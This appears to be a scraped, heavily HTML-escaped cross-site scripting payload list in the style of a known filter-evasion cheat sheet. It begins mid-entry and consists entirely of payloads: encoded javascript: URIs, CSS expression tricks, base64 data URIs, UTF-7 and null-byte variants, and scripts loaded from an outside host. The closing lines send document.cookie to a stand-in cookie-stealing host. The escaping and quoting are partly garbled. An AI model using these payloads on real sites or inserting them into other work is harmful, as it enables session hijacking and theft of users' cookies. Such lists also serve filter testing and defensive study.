SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> 